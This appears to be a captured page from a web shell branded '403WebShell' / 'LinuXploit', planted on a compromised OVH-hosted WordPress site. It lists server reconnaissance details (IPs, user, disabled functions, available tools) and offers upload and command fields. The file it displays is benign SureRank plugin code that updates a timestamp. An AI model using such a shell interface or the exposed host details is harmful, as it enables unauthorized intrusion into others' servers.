Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/surerank/inc/admin//update-timestamp.php
<?php
/**
 * Update Timestamp
 *
 * @since 1.0.0
 * @package surerank
 */

namespace SureRank\Inc\Admin;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use SureRank\Inc\Functions\Update;
use SureRank\Inc\Traits\Get_Instance;

/**
 * Update Timestamp
 *
 * @since 1.0.0
 */
class Update_Timestamp {

	use Get_Instance;

	/**
	 * Constructor
	 *
	 * @since 0.0.1
	 * @return void
	 */
	public function __construct() {
		self::init_actions();
	}

	/**
	 * Initialize actions in which we will update the timestamp.
	 *
	 * @since 0.0.1
	 * @return void
	 */
	public static function init_actions() {
		/**
		 * These options represent a list of settings for which we intend to update the timestamp upon modification.
		 */
		$actions_name = [
			'blogname',
			'blogdescription',
			'new_admin_email',
		];

		foreach ( $actions_name as $action_name ) {
			add_action( "update_option_{$action_name}", [ 'SureRank\Inc\Admin\Update_Timestamp', 'timestamp_option' ] );
		}
	}

	/**
	 * Update the timestamp option.
	 *
	 * @since 1.0.0
	 * @return void
	 */
	public static function timestamp_option() {
		// Update the timestamp option.
		Update::option( SURERANK_SEO_LAST_UPDATED, time() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit